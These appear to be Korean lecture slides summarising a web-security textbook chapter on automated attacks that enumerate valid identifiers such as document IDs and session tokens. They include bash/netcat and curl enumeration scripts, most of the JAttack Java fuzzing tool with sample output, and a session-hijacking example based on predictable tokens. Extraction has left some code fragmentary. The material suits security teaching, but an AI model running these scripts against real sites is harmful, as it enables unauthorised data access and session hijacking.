AUTOMATING BESPOKE ATTACKS ENUMERATING VALID IDENTIFIERS 2010. 6. 9. 조소희
차례 유효한식별자나열하기 유효한식별자나열을통한맞춤자동공격법 유효한식별자탐지 스크립트를이용한공격 JAttack 공격 1: 식별자나열하기
유효한식별자나열하기 이름 / 식별자를부분혹은전부알아내서공격에이용 로그인기능이유용한정보를담은메시지를넘겨주는경우 개별적인자원을참조하도록부여된식별자를사용하는경우 어플리케이션에의해생성되는예측가능한토큰을사용하는경우
유효한식별자나열을통한맞춤자동공격법 1. 요청 / 응답쌍을찾음 요청 : 공격대상으로정한식별자가저장되는인자를포함 docid=3801 응답 : 요청에포함된인자값을수정했을때체계적으로바뀜 유효한값인경우 : 지정한문서의내용을담은긴응답 유효하지않은값인경우 : Invalid document ID 와같은내용을담은짧은응답 2. 식별자목록이나문법적으로허용되는식별자의값들을이용해자동으로요청을보냄 3. 응답을보고유효한식별자를구분
유효한식별자탐지 HTTP 상태코드 응답길이 응답본문내용 위치헤더 쿠키설정헤더 시간지연
HTTP 상태코드 코드 메시지 설명 200 OK 오류없이전송성공 ( 기본값 ) 301/302 401/403 Redirection Moved Permanently Client Error Unauthorized / Forbidden 요구한데이터를변경된 URL 에서찾았음 권한없음 / 금지 404 Client Error Not Found 문서를찾을수없음 500 Internal Server Error 서버내부오류 * HTTP 오류코드 (http://ko.wikipedia.org/wiki/http) * HTTP - Hypertext Transfer Protocol(http://www.w3.org/Protocols/)
응답길이 주로고정된페이지템플릿에각요청에맞는내용을끼워넣는방식을사용 유효한경우 : 내용을포함한템플릿반환 유효하지않은경우 : 빈템플릿반환 응답길이에따라식별자의유효성여부판별
응답본문내용 HTTP 상태코드는변하지않고동적컨텐츠를포함하여응답의길이가바뀌기쉬운경우 응답본문에포함된유효성을판단할수있는문자열이나패턴으로판별
위치헤더 특정 URL 로들어오는모든요청이인자값의유효성에따라다른페이지로리다이렉트될때유효성여부판별에사용됨 유효한경우 : /download.jsp 유효하지않은경우 : /error.jsp
쿠기설정헤더 특정한경우에만쿠키값이저장될때 로그인요청시 같은리다이렉트를사용할지라도 요청시사용한인자값 ( 로그인정보 ) 이유효한경우에만세션토큰을포함한쿠키를저장 쿠키저장여부에따라식별자의유효성여부판별
시간지연 예 > 로그인기능 유효하지않은사용자이름을사용한경우 : 즉각반응 유효한사용자이름을사용한경우 : 권한체크등다른작업들로인해응답이늦어짐 응답시간의차이를통해식별자의유효성여부판별
스크립트를이용한공격
스크립트를이용한공격예제 예제 http://wahh-app.com/showdoc.jsp? app.com/showdoc.jsp?docid=3801 요청 / 응답쌍찾기 유효한 docid 인경우 : 200 코드반환 유효하지않은 docid 인경우 : 500 코드반환
공격스크립트예제 1 #!/bin/bash server=wahh-app.com port=80 while read id do echo -ne $id\t echo -ne GET /ShowDoc.jsp?docID=$id HTTP/1.0\r\nHost: $server\r\n\r\n netcat $server $port head -1 done tee outputfile tfil ~>./script <IDs.txt 3000 HTTP/1.0 500 Internal Server Error 3001 HTTP/1.0 200 Ok 3002 HTTP/1.0 200 Ok 3003 HTTP/1.0 500 Internal Server Error...
공격스크립트예제 2 윈도우배치스크립트 for /f tokens=1 %i in (IDs.txt) t) do echo %i && curl wahh-app.com/showdoc.jsp?docid=%i -i s findstr /B HTTP/1.0 ~>./script <IDs.txt 3000 HTTP/1.0 500 Internal Server Error 3001 HTTP/1.0 200 Ok 3002 HTTP/1.0 200 Ok 3003 HTTP/1.0 500 Internal Server Error...
JATTACK
JAttack 애플리케이션공격을위한매우강력한맞춤자동화공격수행을돕는도구 bash 스크립트보다많이복잡하지않고여러인자에각기다른페이로드소스를써서응답의복잡한처리를함께수행하는복잡한공격을매우쉽게수행가능 Param PayLoadSource PSNumbers Jattack 요청인자에관한세부사항을담은클래스 페이로드소스코드를위한공통인터페이스 숫자페이로드생성클래스 공격
요청인자관련세부사항을담고있는클래스 ( 요청인자는 URL 쿼리문자열, HTTP 쿠키나 POST 요청의본문에서볼수있음 ) // JAttack.java // by Dafydd Stuttard import java.net.*; import java.io.*; class Param String name, value; Type type; boolean attack; // 수정할필요가있는지여부를표시 Param(String name, String value, Type type, boolean attack) this.name = name; this.value = value; this.type = type; this.attack = attack; enum Type URL, COOKIE, BODY
페이로드소스코드의공통인터페이스 interface PayloadSource boolean nextpayload(); void reset(); String getpayload();
숫자페이로드를생성하는클래스 class PSNumbers implements PayloadSource int from, to, step, current; PSNumbers(int from, int to, int step) this.from = from; this.to = to; this.step = step; reset(); public boolean nextpayload() current += step; return current <= to; public void reset() current = from - step; public String getpayload() return Integer.toString(current);
공격을위한설정 - DocID 요청인자에 3000 에서 3100 까지숫자페이로드생성 class JAttack // attack config String host = "wahh-app.com"; " int port = 80; String method = "GET"; String url = "/ShowDoc.html"; Param[] params = new Param[] new Param("DocID", "3801", Param.Type.URL, true), ; PayloadSource payloads = new PSNumbers(3000, 3010, 1);
요청을생성하는엔진의상태를감시, 더이상만들요청이없을때까지 true 반환 class JAttack // attack state int currentparam = 0; boolean nextrequest() if (currentparam >= params.length) return false; if (!params[currentparam].attack) attack) currentparam++; return nextrequest(); if (!payloads.nextpayload()) payloads.reset(); currentparam++; return nextrequest(); return true;
요청생성 현재공격에쓰는인자와페이로드관리 HTTP 요청생성 인자값을요청의제위치에삽입, 헤더추가 class JAttack String buildrequest() // build parameters StringBuffer urlparams = new StringBuffer(); StringBuffer cookieparams = new StringBuffer(); StringBuffer bodyparams = new StringBuffer(); for (int i = 0; i < params.length; i++) String value = (i == currentparam)? payloads.getpayload() : params[i].value; if (params[i].type == Param.Type.URL) urlparams.append(params[i].name + "=" + value + "&"); if (params[i].type == Param.Type.COOKIE) cookieparams.append(params[i].name + "=" + value + "; "); if (params[i].type == Param.Type.BODY) bodyparams.append(params[i].name + "=" + value + "&"); // build request StringBuffer req = new StringBuffer(); req.append(method + " " + url); if (urlparams.length() > 0) req.append("?" + urlparams.substring(0, urlparams.length() - 1)); req.append(" HTTP/1.0\r\nHost: " + host); if (cookieparams.length() () > 0) req.append("\r\ncookie: " + cookieparams.tostring()); if (bodyparams.length() > 0) req.append("\r\ncontent-type: application/x-www-form-urlencoded"); req.append("\r\ncontent-length: " + (bodyparams.length() - 1)); req.append("\r\n\r\n"); req.append(bodyparams.substring(0, bodyparams.length() - 1)); else req.append("\r\n\r\n"); return req.tostring();
대상웹서버에네트워크연결 class JAttack String issuerequest(string req) throws UnknownHostException, IOException Socket socket = new Socket(host, port); OutputStream os = socket.getoutputstream(); os.write(req.getbytes()); os.flush(); BufferedReader br = new BufferedReader(new InputStreamReader( socket.getinputstream())); StringBuffer response = new StringBuffer(); String line; while (null!= (line = br.readline())) response.append(line); os.close(); br.close(); return response.tostring();
서버의응답파싱후요청값의유효성판별을위한정보추출 class JAttack String parseresponse(string response) StringBuffer output = new StringBuffer(); output.append(response.split("\\s+", 3)[1] + "\t"); output.append(integer.tostring(response.length()) tostring(response + "\t"); return output.tostring();
공격 class JAttack void doattack() System.out.println("param\tpayload\tstatus\tlength"); String output = null; while (nextrequest()) try output = parseresponse(issuerequest(buildrequest())); catch (Exception e) output = etostring(); e.tostring(); System.out.println(params[currentParam].name + "\t" + payloads.getpayload() + "\t" + output); public static void main(string[] args) new JAttack().doAttack();
Jattack 실행및결과 실행 > javac JAttack.java > java Jattack 결과 param payload status length DocID 3000 500 220 DocID 3001 200 48179 DocID 3002 200 62881 DocID 3003 500 220...
공격 1: 식별자나열하기
공격 1: 식별자나열하기 로그인을통해생성된세션토큰 000000-fb2200 fb2200-16cb12 16cb12-172ba72 172ba72551 000000-bc7192 bc7192-16cb12 16cb12-172ba72 172ba7279e 79e 000000-73091f 73091f-16cb12 16cb12-172ba72 172ba729e8 000000-918cb1 918cb1-16cb12 16cb12-172ba72 172ba72a2a a2a 000000-aa820f aa820f-16cb12 16cb12-172ba72 172ba72b58 b58 000000-bc8710 bc8710-16cb12 16cb12-172ba72 172ba72e2b 두번째부분은실제로처리되지않음 마지막세자리는증가 세션하이재킹을위한좋은사례
유효한토큰을탐지하는데쓰일요청 / 응답쌍찾기 애플리케이션의인증이이루어지는로그인요청과로그인후바로보이는페이지사용 GET /home.jsp HTTP/1.1 Host: wahh-app.com app Cookie: SessionID=000000-fb2200-16cb12-172ba72551
맞춤페이로드위치설정
숫자페이로드설정
공격성공여부를빠르게알아보기위해공격결과정렬